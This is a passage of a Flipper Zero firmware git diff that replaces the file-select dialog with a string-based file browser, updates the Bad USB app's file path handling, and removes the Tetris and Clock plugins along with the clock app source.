FlipperApplication FLIPPER_APPS[] = { .icon = &A_U2F_14, .flags = FlipperApplicationFlagDefault}, #endif + }; const size_t FLIPPER_APPS_COUNT = COUNT_OF(FLIPPER_APPS); @@ -349,7 +339,7 @@ const FlipperApplication FLIPPER_PLUGINS[] = { {.app = music_player_app, .name = "Music Player", .stack_size = 2048, - .icon = &A_MusicPlayer_14, + .icon = &A_Plugins_14, .flags = FlipperApplicationFlagDefault}, #endif @@ -360,16 +350,6 @@ const FlipperApplication FLIPPER_PLUGINS[] = { .icon = &A_Plugins_14, .flags = FlipperApplicationFlagDefault}, #endif - -#ifdef APP_TETRIS_GAME - {.app = tetris_game_app, .name = "Tetris Game", .stack_size = 1024, .icon = NULL}, -#endif - - {.app = wav_player_app, - .name = "Wav Player", - .stack_size = 4096, - .icon = &A_MusicPlayer_14, - .flags = FlipperApplicationFlagDefault}, }; const size_t FLIPPER_PLUGINS_COUNT = COUNT_OF(FLIPPER_PLUGINS); @@ -440,14 +420,6 @@ const FlipperApplication FLIPPER_DEBUG_APPS[] = { .flags = FlipperApplicationFlagDefault}, #endif -#ifdef APP_SCENED - {.app = scened_app, - .name = "Templated Scene", - .stack_size = 1024, - .icon = NULL, - .flags = FlipperApplicationFlagDefault}, -#endif - #ifdef APP_LF_RFID {.app = lfrfid_debug_app, .name = "LF-RFID Debug", diff --git a/applications/applications.mk b/applications/applications.mk index 30dffbcaf..e7a9ebfc0 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -47,8 +47,6 @@ APP_UPDATER = 1 # Plugins APP_MUSIC_PLAYER = 1 APP_SNAKE_GAME = 1 -APP_TETRIS_GAME = 1 -APP_CLOCK = 1 # Debug APP_ACCESSOR = 1 @@ -236,27 +234,12 @@ CFLAGS += -DAPP_MUSIC_PLAYER SRV_GUI = 1 endif - APP_SNAKE_GAME ?= 0 ifeq ($(APP_SNAKE_GAME), 1) CFLAGS += -DAPP_SNAKE_GAME SRV_GUI = 1 endif - -APP_TETRIS_GAME ?= 0 -ifeq ($(APP_TETRIS_GAME), 1) -CFLAGS += -DAPP_TETRIS_GAME -SRV_GUI = 1 -endif - - -APP_CLOCK ?= 0 -ifeq ($(APP_CLOCK), 1) -CFLAGS += -DAPP_CLOCK -SRV_GUI = 1 -endif - APP_IBUTTON ?= 0 ifeq ($(APP_IBUTTON), 1) CFLAGS += -DAPP_IBUTTON diff --git a/applications/bad_usb/bad_usb_app.c b/applications/bad_usb/bad_usb_app.c index eb647e004..65ccc575b 100644 --- a/applications/bad_usb/bad_usb_app.c +++ b/applications/bad_usb/bad_usb_app.c @@ -1,4 +1,5 @@ #include "bad_usb_app_i.h" +#include "m-string.h" #include #include #include @@ -22,33 +23,13 @@ static void bad_usb_app_tick_event_callback(void* context) { scene_manager_handle_tick_event(app->scene_manager); } -static bool bad_usb_check_assets() { - Storage* fs_api = furi_record_open("storage"); - - File* dir = storage_file_alloc(fs_api); - bool ret = false; - - if(storage_dir_open(dir, BAD_USB_APP_PATH_FOLDER)) { - ret = true; - } - - storage_dir_close(dir); - storage_file_free(dir); - - furi_record_close("storage"); - - return ret; -} - BadUsbApp* bad_usb_app_alloc(char* arg) { BadUsbApp* app = malloc(sizeof(BadUsbApp)); + string_init(app->file_path); + if(arg != NULL) { - string_t filename; - string_init(filename); - path_extract_filename_no_ext(arg, filename); - strncpy(app->file_name, string_get_cstr(filename), BAD_USB_FILE_NAME_LEN); - string_clear(filename); + string_set_str(app->file_path, arg); } app->gui = furi_record_open("gui"); @@ -83,13 +64,11 @@ BadUsbApp* bad_usb_app_alloc(char* arg) { app->error = BadUsbAppErrorCloseRpc; scene_manager_next_scene(app->scene_manager, BadUsbSceneError); } else { - if(*app->file_name != '\0') { + if(!string_empty_p(app->file_path)) { scene_manager_next_scene(app->scene_manager, BadUsbSceneWork); - } else if(bad_usb_check_assets()) { - scene_manager_next_scene(app->scene_manager, BadUsbSceneFileSelect); } else { - app->error = BadUsbAppErrorNoFiles; - scene_manager_next_scene(app->scene_manager, BadUsbSceneError); + string_set_str(app->file_path, BAD_USB_APP_PATH_FOLDER); + scene_manager_next_scene(app->scene_manager, BadUsbSceneFileSelect); } } @@ -117,6 +96,8 @@ void bad_usb_app_free(BadUsbApp* app) { furi_record_close("notification"); furi_record_close("dialogs"); + string_clear(app->file_path); + free(app); } diff --git a/applications/bad_usb/bad_usb_app_i.h b/applications/bad_usb/bad_usb_app_i.h index 67f5816b8..c82419e0f 100644 --- a/applications/bad_usb/bad_usb_app_i.h +++ b/applications/bad_usb/bad_usb_app_i.h @@ -16,7 +16,6 @@ #define BAD_USB_APP_PATH_FOLDER "/any/badusb" #define BAD_USB_APP_EXTENSION ".txt" -#define BAD_USB_FILE_NAME_LEN 40 typedef enum { BadUsbAppErrorNoFiles, @@ -32,7 +31,7 @@ struct BadUsbApp { Widget* widget; BadUsbAppError error; - char file_name[BAD_USB_FILE_NAME_LEN + 1]; + string_t file_path; BadUsb* bad_usb_view; BadUsbScript* bad_usb_script; }; diff --git a/applications/bad_usb/scenes/bad_usb_scene_file_select.c b/applications/bad_usb/scenes/bad_usb_scene_file_select.c index 82f03bab0..1e6ba895a 100644 --- a/applications/bad_usb/scenes/bad_usb_scene_file_select.c +++ b/applications/bad_usb/scenes/bad_usb_scene_file_select.c @@ -5,14 +5,16 @@ static bool bad_usb_file_select(BadUsbApp* bad_usb) { furi_assert(bad_usb); - // Input events and views are managed by file_select - bool res = dialog_file_select_show( + // Input events and views are managed by file_browser + bool res = dialog_file_browser_show( bad_usb->dialogs, - BAD_USB_APP_PATH_FOLDER, + bad_usb->file_path, + bad_usb->file_path, BAD_USB_APP_EXTENSION, - bad_usb->file_name, - sizeof(bad_usb->file_name), - NULL); + true, + &I_badusb_10px, + true); + return res; } diff --git a/applications/bad_usb/scenes/bad_usb_scene_work.c b/applications/bad_usb/scenes/bad_usb_scene_work.c index a3a46803a..516cbde3a 100644 --- a/applications/bad_usb/scenes/bad_usb_scene_work.c +++ b/applications/bad_usb/scenes/bad_usb_scene_work.c @@ -2,6 +2,8 @@ #include "../bad_usb_app_i.h" #include "../views/bad_usb_view.h" #include "furi_hal.h" +#include "m-string.h" +#include "toolbox/path.h" void bad_usb_scene_work_ok_callback(InputType type, void* context) { furi_assert(context); @@ -28,10 +30,9 @@ void bad_usb_scene_work_on_enter(void* context) { string_t file_name; string_init(file_name); - bad_usb_set_file_name(app->bad_usb_view, app->file_name); - string_printf( - file_name, "%s/%s%s", BAD_USB_APP_PATH_FOLDER, app->file_name, BAD_USB_APP_EXTENSION); - app->bad_usb_script = bad_usb_script_open(file_name); + path_extract_filename(app->file_path, file_name, true); + bad_usb_set_file_name(app->bad_usb_view, string_get_cstr(file_name)); + app->bad_usb_script = bad_usb_script_open(app->file_path); string_clear(file_name); diff --git a/applications/bad_usb/views/bad_usb_view.c b/applications/bad_usb/views/bad_usb_view.c index 5b6fe6e89..430885df3 100644 --- a/applications/bad_usb/views/bad_usb_view.c +++ b/applications/bad_usb/views/bad_usb_view.c @@ -2,6 +2,8 @@ #include "../bad_usb_script.h" #include +#define MAX_NAME_LEN 64 + struct BadUsb { View* view; BadUsbOkCallback callback; @@ -9,7 +11,7 @@ struct BadUsb { }; typedef struct { - char* file_name; + char file_name[MAX_NAME_LEN]; BadUsbState state; uint8_t anim_frame; } BadUsbModel; @@ -149,11 +151,11 @@ void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* c }); } -void bad_usb_set_file_name(BadUsb* bad_usb, char* name) { +void bad_usb_set_file_name(BadUsb* bad_usb, const char* name) { furi_assert(name); with_view_model( bad_usb->view, (BadUsbModel * model) { - model->file_name = name; + strncpy(model->file_name, name, MAX_NAME_LEN); return true; }); } diff --git a/applications/bad_usb/views/bad_usb_view.h b/applications/bad_usb/views/bad_usb_view.h index f5a8a0fab..80a47e2ca 100755 --- a/applications/bad_usb/views/bad_usb_view.h +++ b/applications/bad_usb/views/bad_usb_view.h @@ -14,6 +14,6 @@ View* bad_usb_get_view(BadUsb* bad_usb); void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* context); -void bad_usb_set_file_name(BadUsb* bad_usb, char* name); +void bad_usb_set_file_name(BadUsb* bad_usb, const char* name); void bad_usb_set_state(BadUsb* bad_usb, BadUsbState* st); diff --git a/applications/clock_app/clock_app.c b/applications/clock_app/clock_app.c deleted file mode 100644 index 60f442589..000000000 --- a/applications/clock_app/clock_app.c +++ /dev/null @@ -1,282 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include - -#define TAG "Clock" - -bool timerStarted=false; -int timerSecs=0; -int songSelect=0; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -typedef struct { - FuriHalRtcDateTime datetime; -} ClockState; - -static void clock_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { - furi_assert(event_queue); - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - osMessageQueuePut(event_queue, &event, 0, osWaitForever); -} - -static void clock_render_callback(Canvas* const canvas, void* ctx) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - ClockState* state = (ClockState*)acquire_mutex((ValueMutex*)ctx, 25); - char strings[3][20]; - int curMin = (timerSecs/60); - int curSec = timerSecs-(curMin *60); - sprintf(strings[0], "%.4d-%.2d-%.2d", state->datetime.year, state->datetime.month, state->datetime.day); - sprintf(strings[1], "%.2d:%.2d:%.2d", state->datetime.hour, state->datetime.minute, state->datetime.second); - sprintf(strings[2], "%.2d:%.2d", curMin , curSec); - release_mutex((ValueMutex*)ctx, state); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned(canvas, 64, 8, AlignCenter, AlignCenter, strings[1]); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, 20, AlignCenter, AlignTop, strings[0]); - // elements_button_left(canvas, "Alarms"); - // elements_button_right(canvas, "Settings"); - // elements_button_center(canvas, "Reset"); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignTop, strings[2]); - canvas_set_font(canvas, FontSecondary); - if(timerStarted) { - elements_button_center(canvas, "Stop"); - } else { - elements_button_center(canvas, "Start"); - } - if(songSelect==0) { - elements_button_right(canvas, "S:OFF"); - } else if(songSelect==1) { - elements_button_right(canvas, "S:PoRa"); - } else if(songSelect==2) { - elements_button_right(canvas, "S:Mario"); - } else if(songSelect==3) { - elements_button_right(canvas, "S:ByMin"); - } -} - -static void clock_state_init(ClockState* const state) { - furi_hal_rtc_get_datetime(&state->datetime); -} - -const NotificationSequence clock_alert_silent = { - &message_force_vibro_setting_on, &message_vibro_on, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, - &message_vibro_off, &message_display_backlight_off, &message_delay_50, &message_display_backlight_on, NULL, -}; -const NotificationSequence clock_alert_pr1 = { - &message_force_speaker_volume_setting_1f, - &message_force_vibro_setting_on, &message_vibro_on, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, - &message_note_g5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, - &message_vibro_off, &message_display_backlight_off, &message_delay_50, &message_display_backlight_on, - &message_note_g5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, NULL, -}; -const NotificationSequence clock_alert_pr2 = { - &message_force_speaker_volume_setting_1f, - &message_force_vibro_setting_on, &message_vibro_on, - &message_note_fs5, &message_delay_100, &message_delay_100, &message_sound_off, - &message_display_backlight_off, &message_vibro_off, &message_delay_50, - &message_note_g5, &message_delay_100, &message_delay_100, &message_sound_off, - &message_display_backlight_on, &message_delay_50, - &message_note_a5, &message_delay_100, &message_delay_100, &message_sound_off, NULL, -}; -const NotificationSequence clock_alert_pr3 = { - &message_force_speaker_volume_setting_1f, - &message_display_backlight_off, - &message_note_g5, &message_delay_100, &message_delay_100, &message_sound_off, - &message_delay_50, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, &message_delay_100, NULL, -}; -const NotificationSequence clock_alert_mario1 = { - &message_force_speaker_volume_setting_1f, - &message_force_vibro_setting_on, &message_vibro_on, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, - &message_note_e5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, - &message_note_e5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, - &message_vibro_off, &message_display_backlight_off, &message_delay_100, &message_display_backlight_on, &message_delay_100, - &message_note_e5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, NULL, -}; -const NotificationSequence clock_alert_mario2 = { - &message_force_speaker_volume_setting_1f, - &message_force_vibro_setting_on, &message_vibro_on, &message_display_backlight_off, &message_delay_100, &message_display_backlight_on, &message_delay_100, - &message_note_c5, &message_delay_100, &message_delay_100, &message_sound_off, - &message_display_backlight_off, &message_vibro_off, &message_delay_50, - &message_note_e5, &message_delay_100, &message_delay_100, &message_sound_off, - &message_display_backlight_on, NULL, -}; -const NotificationSequence clock_alert_mario3 = { - &message_force_speaker_volume_setting_1f, - &message_display_backlight_off, - &message_note_g5, &message_delay_100, &message_delay_100, &message_delay_100, &message_delay_100, &message_sound_off, - &message_delay_50, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, &message_delay_100, - &message_note_g4, &message_delay_100, &message_delay_100, &message_delay_100, &message_delay_100, &message_sound_off, - NULL, -}; -const NotificationSequence clock_alert_perMin = { - &message_force_speaker_volume_setting_1f, - &message_note_g5, &message_delay_100, &message_delay_50, &message_sound_off, - &message_delay_10, - &message_note_g4, &message_delay_50, &message_delay_10, &message_delay_10, &message_sound_off, - NULL, -}; -const NotificationSequence clock_alert_startStop = { - &message_force_speaker_volume_setting_1f, - &message_note_d6, &message_delay_100, &message_delay_10, &message_delay_10, &message_sound_off, NULL, -}; - -// Runs every 1000ms by default -static void clock_tick(void* ctx) { - furi_assert(ctx); - osMessageQueueId_t event_queue = ctx; - PluginEvent event = {.type = EventTypeTick}; - if(timerStarted) { - timerSecs=timerSecs+1; - if(timerSecs%60==0 && songSelect!=0) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_perMin); - furi_record_close("notification"); - } - if(songSelect==1 ) { - if(timerSecs==80) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_pr1); - furi_record_close("notification"); - } - if(timerSecs==81) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_pr2); - furi_record_close("notification"); - } - if(timerSecs==82) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_pr3); - furi_record_close("notification"); - } - } else if(songSelect==2 ) { - if(timerSecs==80) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_mario1); - furi_record_close("notification"); - } - if(timerSecs==81) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_mario2); - furi_record_close("notification"); - } - if(timerSecs==82) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_mario3); - furi_record_close("notification"); - } - } else { - if(timerSecs==80) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_silent); - furi_record_close("notification"); - } - } - } - // It's OK to loose this event if system overloaded - osMessageQueuePut(event_queue, &event, 0, 0); -} - -int32_t clock_app(void* p) { - UNUSED(p); - timerStarted=false; - timerSecs=0; - songSelect=0; - osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(PluginEvent), NULL); - ClockState* plugin_state = malloc(sizeof(ClockState)); - clock_state_init(plugin_state); - ValueMutex state_mutex; - if (!init_mutex(&state_mutex, plugin_state, sizeof(ClockState))) { - FURI_LOG_E(TAG, "cannot create mutex\r\n"); - free(plugin_state); - return 255; - } - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, clock_render_callback, &state_mutex); - view_port_input_callback_set(view_port, clock_input_callback, event_queue); - osTimerId_t timer = osTimerNew(clock_tick, osTimerPeriodic, event_queue, NULL); - osTimerStart(timer, osKernelGetTickFreq()); - // Open GUI and register view_port - Gui* gui = furi_record_open("gui"); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - // Main loop - PluginEvent event; - for (bool processing = true; processing;) { - osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100); - ClockState* plugin_state = (ClockState*)acquire_mutex_block(&state_mutex); - if (event_status == osOK) { - // press events - if (event.type == EventTypeKey) { - if (event.input.type == InputTypeShort || event.input.type == InputTypeRepeat) { - switch(event.input.key) { - case InputKeyUp: - if(timerStarted) timerSecs=timerSecs+5; - break; - case InputKeyDown: - if(timerStarted) timerSecs=timerSecs-5; - break; - case InputKeyRight: - if(songSelect==0) { - songSelect=1; - } else if(songSelect==1) { - songSelect=2; - } else if(songSelect==2) { - songSelect=3; - } else { - songSelect=0; - } - break; - case InputKeyLeft: - break; - case InputKeyOk: - if(songSelect==1 || songSelect==2 || songSelect==3) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &clock_alert_startStop); - furi_record_close("notification"); - } - if(timerStarted) { - timerStarted=false; - timerSecs=0; - } else { - timerStarted=true; - } - break; - case InputKeyBack: - // Exit the plugin - processing = false; - break; - } - } - } else if(event.type == EventTypeTick) { - furi_hal_rtc_get_datetime(&plugin_state->datetime); - } - } else { - FURI_LOG_D(TAG, "osMessageQueue: event timeout"); - // event timeout - } - view_port_update(view_port); - release_mutex(&state_mutex, plugin_state); - } - osTimerDelete(timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close("gui"); - view_port_free(view_port); - osMessageQueueDelete(event_queue); - return 0; -} diff --git a/applications/debug_tools/file_browser_test/file_browser_app.c b/applications/debug_tools/file_browser_test/file_browser_app.c index a408f5cde..c9b63ecb0 100644 --- a/applications/debug_tools/file_browser_test/file_browser_app.c +++ b/applications/debug_tools/file_browser_test/file_browser_app.c @@ -48,7 +48,7 @@ FileBrowserApp* file_browser_app_alloc(char* arg) { app->widget = widget_alloc(); string_init(app->file_path); - app->file_browser = file_browser_alloc(&(app->file_path)); + app->file_browser = file_browser_alloc(app->file_path); file_browser_configure(app->file_browser, "*", true, &I_badusb_10px, true); view_dispatcher_add_view( diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c index 9c570cec0..ca16ad0d1 100644 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c @@ -20,12 +20,10 @@ bool file_browser_scene_browser_on_event(void* context, SceneManagerEvent event) return consumed; } -static void file_browser_callback(void* context, bool state) { +static void file_browser_callback(void* context) { FileBrowserApp* app = context; furi_assert(app); view_dispatcher_send_custom_event(app->view_dispatcher, SceneManagerEventTypeCustom); - - UNUSED(state); } void file_browser_scene_browser_on_enter(void* context) { diff --git a/applications/desktop/desktop.c b/applications/desktop/desktop.c index 514166375..34c169e07 100644 --- a/applications/desktop/desktop.c +++ b/applications/desktop/desktop.c @@ -56,12 +56,7 @@ static bool desktop_custom_event_callback(void* context, uint32_t event) { return true; case DesktopGlobalAutoLock: if(!loader_is_locked(desktop->loader)) { - if(desktop->settings.pin_code.length > 0) { - desktop_pin_lock(&desktop->settings); - desktop_lock(desktop); - } else { - desktop_lock(desktop); - } + desktop_lock(desktop); } return true; } diff --git a/applications/dialogs/dialogs.c b/applications/dialogs/dialogs.c index cf4a2ad68..8929dc116 100644 --- a/applications/dialogs/dialogs.c +++ b/applications/dialogs/dialogs.c @@ -1,6 +1,7 @@ +#include "dialogs/dialogs_message.h" #include "dialogs_i.h" #include "dialogs_api_lock.h" -#include "dialogs_module_file_select.h" +#include "dialogs_module_file_browser.h" #include "dialogs_module_message.h" static DialogsApp* dialogs_app_alloc() { @@ -13,9 +14,9 @@ static DialogsApp* dialogs_app_alloc() { static void dialogs_app_process_message(DialogsApp* app, DialogsAppMessage* message) { UNUSED(app); switch(message->command) { - case DialogsAppCommandFileOpen: + case DialogsAppCommandFileBrowser: message->return_data->bool_value = - dialogs_app_process_module_file_select(&message->data->file_select); + dialogs_app_process_module_file_browser(&message->data->file_browser); break; case DialogsAppCommandDialog: message->return_data->dialog_value = diff --git a/applications/dialogs/dialogs.h b/applications/dialogs/dialogs.h index 9c71c0989..536060565 100644 --- a/applications/dialogs/dialogs.h +++ b/applications/dialogs/dialogs.h @@ -1,6 +1,7 @@ #pragma once #include #include +#include "m-string.h" #ifdef __cplusplus extern "C" { @@ -10,25 +11,27 @@ extern "C" { typedef struct DialogsApp DialogsApp; -/****************** FILE SELECT ******************/ +/****************** FILE BROWSER ******************/ /** - * Shows and processes the file selection dialog + * Shows and processes the file browser dialog * @param context api pointer - * @param path path to directory + * @param result_path selected file path string pointer + * @param path preselected file path string pointer * @param extension file extension to be offered for selection - * @param selected_filename buffer where the selected filename will be saved - * @param selected_filename_size and the size of this buffer - * @param preselected_filename filename to be preselected + * @param skip_assets true - do not show assets folders + * @param icon file icon pointer, NULL for default icon + * @param hide_ext true - hide extensions for files * @return bool whether a file was selected */ -bool dialog_file_select_show( +bool dialog_file_browser_show( DialogsApp* context, - const char* path, + string_ptr result_path, + string_ptr path, const char* extension, - char* result, - uint8_t result_size, - const char* preselected_filename); + bool skip_assets, + const Icon* icon, + bool hide_ext); /****************** MESSAGE ******************/ diff --git a/applications/dialogs/dialogs_api.c b/applications/dialogs/dialogs_api.c index c4efb287d..fab3a5eae 100644 --- a/applications/dialogs/dialogs_api.c +++ b/applications/dialogs/dialogs_api.c @@ -1,31 +1,36 @@ +#include "dialogs/dialogs_message.h" #include "dialogs_i.h" #include "dialogs_api_lock.h" +#include "m-string.h" -/****************** File select ******************/ +/****************** File browser ******************/ -bool dialog_file_select_show( +bool dialog_file_browser_show( DialogsApp* context, - const char* path, + string_ptr result_path, + string_ptr path, const char* extension, - char* result, - uint8_t result_size, - const char* preselected_filename) { + bool skip_assets, + const Icon* icon, + bool hide_ext) { FuriApiLock lock = API_LOCK_INIT_LOCKED(); furi_check(lock != NULL); DialogsAppData data = { - .file_select = { - .path = path, + .file_browser = { .extension = extension, - .result = result, - .result_size = result_size, - .preselected_filename = preselected_filename, + .result_path = result_path, + .file_icon = icon, + .hide_ext = hide_ext, + .skip_assets = skip_assets, + .preselected_filename = path, + }}; DialogsAppReturn return_data; DialogsAppMessage message = { .lock = lock, - .command = DialogsAppCommandFileOpen, + .command = DialogsAppCommandFileBrowser, .data = &data, .return_data = &return_data, }; diff --git a/applications/dialogs/dialogs_message.h b/applications/dialogs/dialogs_message.h index d7b5fabf4..ccfbdece5 100644 --- a/applications/dialogs/dialogs_message.h +++ b/applications/dialogs/dialogs_message.h @@ -2,25 +2,27 @@ #include #include "dialogs_i.h" #include "dialogs_api_lock.h" +#include "m-string.h" #ifdef __cplusplus extern "C" { #endif typedef struct { - const char* path; const char* extension; - char* result; - uint8_t result_size; - const char* preselected_filename; -} DialogsAppMessageDataFileSelect; + bool skip_assets; + bool hide_ext; + const Icon* file_icon; + string_ptr result_path; + string_ptr preselected_filename; +} DialogsAppMessageDataFileBrowser; typedef struct { const DialogMessage* message; } DialogsAppMessageDataDialog; typedef union { - DialogsAppMessageDataFileSelect file_select; + DialogsAppMessageDataFileBrowser file_browser; DialogsAppMessageDataDialog dialog; } DialogsAppData; @@ -30,7 +32,7 @@ typedef union { } DialogsAppReturn; typedef enum { - DialogsAppCommandFileOpen, + DialogsAppCommandFileBrowser, DialogsAppCommandDialog, } DialogsAppCommand; diff --git a/applications/dialogs/dialogs_module_file_browser.c b/applications/dialogs/dialogs_module_file_browser.c new file mode 100644 index 000000000..ecd0ca79b --- /dev/null +++ b/applications/dialogs/dialogs_module_file_browser.c @@ -0,0 +1,59 @@ +#include "dialogs_i.h" +#include "dialogs_api_lock.h" +#include "gui/modules/file_browser.h" + +typedef struct { + FuriApiLock lock; + bool result; +} DialogsAppFileBrowserContext; + +static void dialogs_app_file_browser_back_callback(void* context) { + furi_assert(context); + DialogsAppFileBrowserContext* file_browser_context = context; + file_browser_context->result = false; + API_LOCK_UNLOCK(file_browser_context->lock); +} + +static void dialogs_app_file_browser_callback(void* context) { + furi_assert(context); + DialogsAppFileBrowserContext* file_browser_context = context; + file_browser_context->result = true; + API_LOCK_UNLOCK(file_browser_context->lock); +} + +bool dialogs_app_process_module_file_browser(const DialogsAppMessageDataFileBrowser* data) { + bool ret = false; + Gui* gui = furi_record_open("gui"); + + DialogsAppFileBrowserContext* file_browser_context = + malloc(sizeof(DialogsAppFileBrowserContext)); + file_browser_context->lock = API_LOCK_INIT_LOCKED(); + + ViewHolder* view_holder = view_holder_alloc(); + view_holder_attach_to_gui(view_holder, gui); + view_holder_set_back_callback( + view_holder, dialogs_app_file_browser_back_callback, file_browser_context); + + FileBrowser* file_browser = file_browser_alloc(data->result_path); + file_browser_set_callback( + file_browser, dialogs_app_file_browser_callback, file_browser_context); + file_browser_configure( + file_browser, data->extension, data->skip_assets, data->file_icon, data->hide_ext); + file_browser_start(file_browser, data->preselected_filename); + + view_holder_set_view(view_holder, file_browser_get_view(file_browser)); + view_holder_start(view_holder); + API_LOCK_WAIT_UNTIL_UNLOCK(file_browser_context->lock); + + ret = file_browser_context->result; + + view_holder_stop(view_holder); + view_holder_free(view_holder); + file_browser_stop(file_browser); + file_browser_free(file_browser); + API_LOCK_FREE(file_browser_context->lock); + free(file_browser_context); + furi_record_close("gui"); + + return ret; +} diff --git a/applications/dialogs/dialogs_module_file_select.h b/applications/dialogs/dialogs_module_file_browser.h similarity index 54% rename from applications/dialogs/dialogs_module_file_select.h rename to applications/dialogs/dialogs_module_file_browser.h index 749fe9c1d..b6cbdf6a5 100644 --- a/applications/dialogs/dialogs_module_file_select.h +++ b/applications/dialogs/dialogs_module_file_browser.h @@ -5,7 +5,7 @@ extern "C" { #endif -bool dialogs_app_process_module_file_select(const DialogsAppMessageDataFileSelect* data); +bool dialogs_app_process_module_file_browser(const DialogsAppMessageDataFileBrowser* data); #ifdef __cplusplus } diff --git a/applications/dialogs/dialogs_module_file_select.c b/applications/dialogs/dialogs_module_file_select.c deleted file mode 100644 index f133c00a0..000000000 --- a/applications/dialogs/dialogs_module_file_select.c +++ /dev/null @@ -1,59 +0,0 @@ -#include "dialogs_i.h" -#include "dialogs_api_lock.h" -#include - -typedef struct { - FuriApiLock lock; - bool result; -} DialogsAppFileSelectContext; - -static void dialogs_app_file_select_back_callback(void* context) { - furi_assert(context); - DialogsAppFileSelectContext* file_select_context = context; - file_select_context->result = false; - API_LOCK_UNLOCK(file_select_context->lock); -} - -static void dialogs_app_file_select_callback(bool result, void* context) { - furi_assert(context); - DialogsAppFileSelectContext* file_select_context = context; - file_select_context->result = result; - API_LOCK_UNLOCK(file_select_context->lock); -} - -bool dialogs_app_process_module_file_select(const DialogsAppMessageDataFileSelect* data) { - bool ret = false; - Gui* gui = furi_record_open("gui"); - - DialogsAppFileSelectContext* file_select_context = malloc(sizeof(DialogsAppFileSelectContext)); - file_select_context->lock = API_LOCK_INIT_LOCKED(); - - ViewHolder* view_holder = view_holder_alloc(); - view_holder_attach_to_gui(view_holder, gui); - view_holder_set_back_callback( - view_holder, dialogs_app_file_select_back_callback, file_select_context); - - FileSelect* file_select = file_select_alloc(); - file_select_set_callback(file_select, dialogs_app_file_select_callback, file_select_context); - file_select_set_filter(file_select, data->path, data->extension); - file_select_set_result_buffer(file_select, data->result, data->result_size); - file_select_init(file_select); - if(data->preselected_filename != NULL) { - file_select_set_selected_file(file_select, data->preselected_filename); - } - - view_holder_set_view(view_holder, file_select_get_view(file_select)); - view_holder_start(view_holder); - API_LOCK_WAIT_UNTIL_UNLOCK(file_select_context->lock); - - ret = file_select_context->result; - - view_holder_stop(view_holder); - view_holder_free(view_holder); - file_select_free(file_select); - API_LOCK_FREE(file_select_context->lock); - free(file_select_context); - furi_record_close("gui"); - - return ret; -} diff --git a/applications/gui/modules/file_browser.c b/applications/gui/modules/file_browser.c index 919750962..1cef1d079 100644 --- a/applications/gui/modules/file_browser.c +++ b/applications/gui/modules/file_browser.c @@ -10,6 +10,7 @@ #include #include #include +#include "toolbox/path.h" #define LIST_ITEMS 5u #define MAX_LEN_PX 110 @@ -60,13 +61,13 @@ ARRAY_DEF( struct FileBrowser { View* view; BrowserWorker* worker; - char* ext_filter; + const char* ext_filter; bool skip_assets; FileBrowserCallback callback; void* context; - string_t* result_path; + string_ptr result_path; }; typedef struct { @@ -100,7 +101,7 @@ static void browser_list_load_cb(void* context, uint32_t list_load_offset); static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last); static void browser_long_load_cb(void* context); -FileBrowser* file_browser_alloc(string_t* result_path) { +FileBrowser* file_browser_alloc(string_ptr result_path) { furi_assert(result_path); FileBrowser* browser = malloc(sizeof(FileBrowser)); browser->view = view_alloc(); @@ -140,7 +141,7 @@ View* file_browser_get_view(FileBrowser* browser) { void file_browser_configure( FileBrowser* browser, - char* extension, + const char* extension, bool skip_assets, const Icon* file_icon, bool hide_ext) { @@ -250,6 +251,7 @@ static void with_view_model( browser->view, (FileBrowserModel * model) { + items_array_reset(model->items); if(is_root) { model->item_cnt = item_cnt; model->item_idx = (file_idx > 0) ? file_idx : 0; @@ -383,7 +385,7 @@ static void browser_draw_list(Canvas* canvas, FileBrowserModel* model) { BrowserItem_t* item = items_array_get( model->items, CLAMP(idx - model->array_offset, (int32_t)(array_size - 1), 0)); item_type = item->type; - file_browser_worker_get_filename( + path_extract_filename( item->path, filename, (model->hide_ext) && (item_type == BrowserItemTypeFile)); } else { string_set_str(filename, "---"); @@ -505,9 